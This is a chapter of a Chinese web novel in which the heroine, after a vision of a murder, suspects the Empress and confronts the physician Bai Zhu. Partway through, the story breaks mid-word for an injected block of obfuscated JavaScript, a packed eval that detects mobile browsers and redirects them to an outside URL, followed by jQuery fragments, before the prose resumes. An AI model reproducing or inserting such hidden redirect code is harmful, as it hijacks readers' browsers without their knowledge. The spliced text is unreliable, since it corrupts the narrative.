50. 她绝非善类

作品:《穿书系统是前夫哥

    顾嫣然抚着胸口惊醒过来,她在李明哲的身体中清楚地体验了他死前的所有感受,愤怒、不甘、恐惧……还有静候死亡到来的无力,只要一闭眼她便不自觉地回想起那种令人窒息的情绪。


    季怀安及时为她擦去额上的冷汗,担忧问:“你看到了什么?”


    顾嫣然缓了好一会儿将自己看到的一切都告诉了他。


    “皇后绝不是善类。”平复好心情后,顾嫣然下定结论。


    今日对她的刁难也一定是故意之举,不过与她今夜所看到的东西相比这件事倒不算什么了。


    除了皇后,更让她在意的是白术。她最早是在季寒霜的医馆里见到他,之后他便时不时地主动来医馆帮忙,这行为本就让她怀疑,要不是因为季寒霜能从他那里学些东西她早就将人赶走了。


    而今天的这段回忆,白术和皇后也有着千丝万缕的关系,事关季寒霜她必须得谨慎处理。


    她明天就要去找他。


    思索着,她打开道具栏搜寻有用的道具。一旁的季怀安见她一句话也不说只顾着找道具,忍不住将她揽在怀里。


    微凉的身体触碰到炽热的体温时下意识地颤了颤,腰间的手不断收紧,让两具身体贴得更近。炽热的吐息萦绕在耳后,顾嫣然抖了下身子,捂着耳朵转身问:“你干什么啊!”


    季怀安又紧了紧环在她腰间的手臂,下巴抵着她的肩:“嫣嫣,你不要着急,我们慢慢找,人又不会跑。”


    早已适应黑夜的双眼看着怀里的身体依旧在剧烈起伏,虽然顾嫣然什么也没说,但季怀安知道她现在一定还没能从死亡的恐惧里走出来。


    顾嫣然撇开视线,不去看他:“……我知道。”


    季怀安这家伙一定看出来她在害怕了。


    但她没得选,之前她从未思考过好端端的她的任务为什么是帮助季寒霜登基为帝,现在她多少有了些猜测。皇后多年来残害后宫子嗣,而皇帝对此又毫无举动,也许如今的朝堂没有她想象的那么风平浪静。


    她当务之急是要确认白术接近季寒霜的目的。回忆里的白术知道皇后做的事情,难保在自己的徒弟死后也走上了同一条路。虽然季寒霜的身世至今没有公开,但如果白术知道了那又会是一个麻烦。


    见她又垂着脑袋,好看的眼睛低垂,连眼角的睫毛也没有平时翘,季怀安手上用力,将她整个人翻了个面。


    眼前的顾嫣然活像一只闷闷不乐的猫咪,嘴角微微向下撇着,圆溜溜的眼珠看着他,如果她有胡子想必就连胡子也会不高兴地垂着。


    季怀安抵着她的额蹭了蹭:“没事儿的,我相信我们肯定能一起回家的。”


    “哼。”顾嫣然撞了下他的脑袋,语气有些委屈,“分明是我做的任务比较多。”


    季怀安本想反驳,话到嘴边觉得她说的是实话,只好向她打包票:“最近的账本我都包了,还有之前你让我去打听的那辆红袖坊马车的消息,这些时日我会盯紧点,尽快查清楚。”


    “希望吧。”


    有了季怀安的安慰,顾嫣然一时忘记了身体生理性的恐惧,她将他推开翻身钻进被子:“我要睡了,不许吵我。”


    顾嫣然是个行动派,白日早早收拾好衣装准备出门。


    清晨的同安医馆没什么人,远远望去,只见季寒霜坐在桌前写着什么。


    略有急切的脚步声让季寒霜抬头,见到来人是顾嫣然后露出一个浅笑:“今日怎么来了?”


    不好将自己的目的告诉她,顾嫣然笑了笑道:“我就是过来看看。”


    “你来的正好,”季寒霜收起手中的毛笔,将写满字迹的纸张递给她,“这是你之前摆脱我替你寻找的那种病症,最近我和白大夫讨论过,最有可能的就是上面所写的。”


    顾嫣然拿起纸,迅速扫过上面的信息。


    她皱了皱眉:“蛊?”


    季怀瑾竟然不是中毒,而是中蛊?


    季寒霜点头:“这是一种南疆的蛊毒,我从未了解过南疆的蛊术,能找到多亏了白大夫。”


    那时她惊叹白术不仅经验丰富,甚至连南疆的蛊术也有所了解,后来从他那里得到几本关于蛊术的医书。


    季寒霜称赞白术所学广泛,突然注意到顾嫣然逐渐沉下去的脸色,心中下意识觉得她可能是因为纸上所写的内容。


    她看向顾嫣然,往日总是盈满笑意的眸子低垂着,彷佛浸入一摊死寂的湖水,笑起来微翘的唇角抿成一条直线


    季寒霜幼时被翠姨圈在小院儿里不能出门,进京城前一个朋友也没有,清冷的性子让她直到现在也只有顾嫣然一个好友,她是个有分寸的人,顾嫣然不愿说的事情她从不会强迫她开口。可亲眼看着花儿似的人低垂着,她怎能不担忧。


    季寒霜还是忍不住开口问:“嫣然,怎么了?”


    陷入沉思中的顾嫣然猛地抬头,揉了揉有些僵的脸笑了声说:“没事。”


    这话让季寒霜有些生气,气了一瞬后又感觉自己有些莫名其妙。每个人都会有自己的秘密,她不该像个孩童似的无理取闹。


    就在两人之间陷入沉寂时,一道欢快高昂的声音从店门传来。


    “小季大夫,我今日又来了。”白术抚了抚修理整齐的白胡子,朝季寒霜招了招手,看到顾嫣然也在也打了个招呼,“夫人今日也在。”


    他像是回到自己家里一样,娴熟地找来茶叶泡了壶热茶,顺带拉了把椅子悠哉悠哉翘着腿。


    白术就在自己眼前,顾嫣然憋了一肚子的问题想要问他,但季寒霜在场,她得找个理由把她支开。


    “寒霜,店里的药材是不是有些不太够了?”


    季寒霜每月都会定时采购药材,因此大部分的药材都是不缺的,但顾嫣然提了她便检查了一遍药柜,结果真的发现有几味不常用的药材所剩无几。


    “是缺了几味药。”


    顾嫣然松了口气,顺着话对她道:“既然如此现在就去买吧!”


    她说着把荷包塞进她手里,速度快得让季寒霜都没有反应过来。


    季寒霜疑惑地皱了皱眉:“现在就去?”


    这有些太突然了。


    坐在椅子上的白术吮了一口茶,也对季寒霜说:“茶叶也快没了,回来也捎点儿。”


    说罢,还补充道:“记得买城南那一家的啊。”


    季寒霜捧着沉甸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145202|190046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甸的荷包一时间没有动作,医馆开业以来,嫣然几乎将店内的经营全权交给她,这还是第一次过问店内的情况。虽然突然,但只要她开口,她总会为她去做。


    想到这里,她唇角扬了扬,轻笑问:“还有什么要带的吗?”


    “再带些东市的荷花酥,还有城北的桂花糕。”


    城南和城北相距甚远,要买来所有的东西少说也得大半个时辰。但季寒霜没有任何抱怨,收好荷包便要出门,临走前对顾嫣然道:“我会尽快回来的。”


    顾嫣然朝她挥挥手:“没事,不着急的。”


    她巴不得她晚些回来。


    季寒霜的身影逐渐远去,医馆只剩下他们两人,顾嫣然收起脸上的笑,将敞开的店门关上,转身看向身后的白术。


    不等她开口,白术先一步问:“夫人想问我什么事?”


    顾嫣然冷哼一声:“我想问的可太多了。”


    白术端起茶杯吹了口气,缭绕的轻烟挡住他的表情,只听他笑了一声:“问题太多就一个个问,我知道的自然会告诉你。”


    即使他这样说顾嫣然也不放心,她攥紧藏在袖口的匕首,这是她能找到的最有用的道具,虽然她不会杀了白术,但也用匕首威胁一下。


    她盯着他的眼,一字一句问:“你和皇后是什么关系?”


    白术听了哈哈大笑,顾嫣然皱着眉问:“你笑什么?”


    这老头怕不是疯了?


    白术擦了把眼角的眼泪,喘了口气道:“我只是没想到你竟然会这么直接地问我。”


    顾嫣然歪头,不耐烦道:“所以呢?你说不说。”


    收敛好情绪,白术轻咳一声,摸着下巴上的胡子唏嘘道:“我知道这事总有一天瞒不住,没想到竟是被世子妃发现了。”


    白术娓娓道来,向她交代清楚。从白术的口中,顾嫣然知道了李明哲死去后发生的事。


    *


    李明哲死得悄无声息,柳如烟瞥了眼他断了气的尸体抽走被他攥在手中的布料。她转身扯住白术的头发,强迫他抬头和李明哲的尸体对视。


    “睁大你的眼睛,看清楚你徒弟是怎么死的。”


    眼角的肿痛让人睁不开眼,头皮不断被向上撕扯,白术不得不撑开眼皮看向自己的徒弟。


    李明哲闭上了眼倒在地上,殷红的血液从极浅的伤口中流出,蜿蜒着在脖颈上流淌,若不是白术已经感觉不出他的呼息,还以为只是睡着了。


    白术痛苦地闭上眼不愿再看,自从昨夜他知道李明哲都为皇后做了些什么事情后就知道他这徒弟是活不长了,但亲眼看着从年少便跟在自己身边学习医术,被他当作儿子的徒弟死在自己面前,他依旧于心不忍。


    头上的手松开,他无力地摔在地上,身上的疼痛让他的意识模糊,徒弟亲自死在自己面前更是让他没了活下去的念头。


    “皇后娘娘,您现在该杀我了吧。”他撑着虚弱的身体,眼中已然失去了光亮。


    柳如烟坐回她的凤椅,一单手扶着额,插在发间的凤钗闪着亮光,垂下来的流苏缓缓摇曳。


    她看着奄奄一息的白术,挑眉道:“谁说我要杀你了?”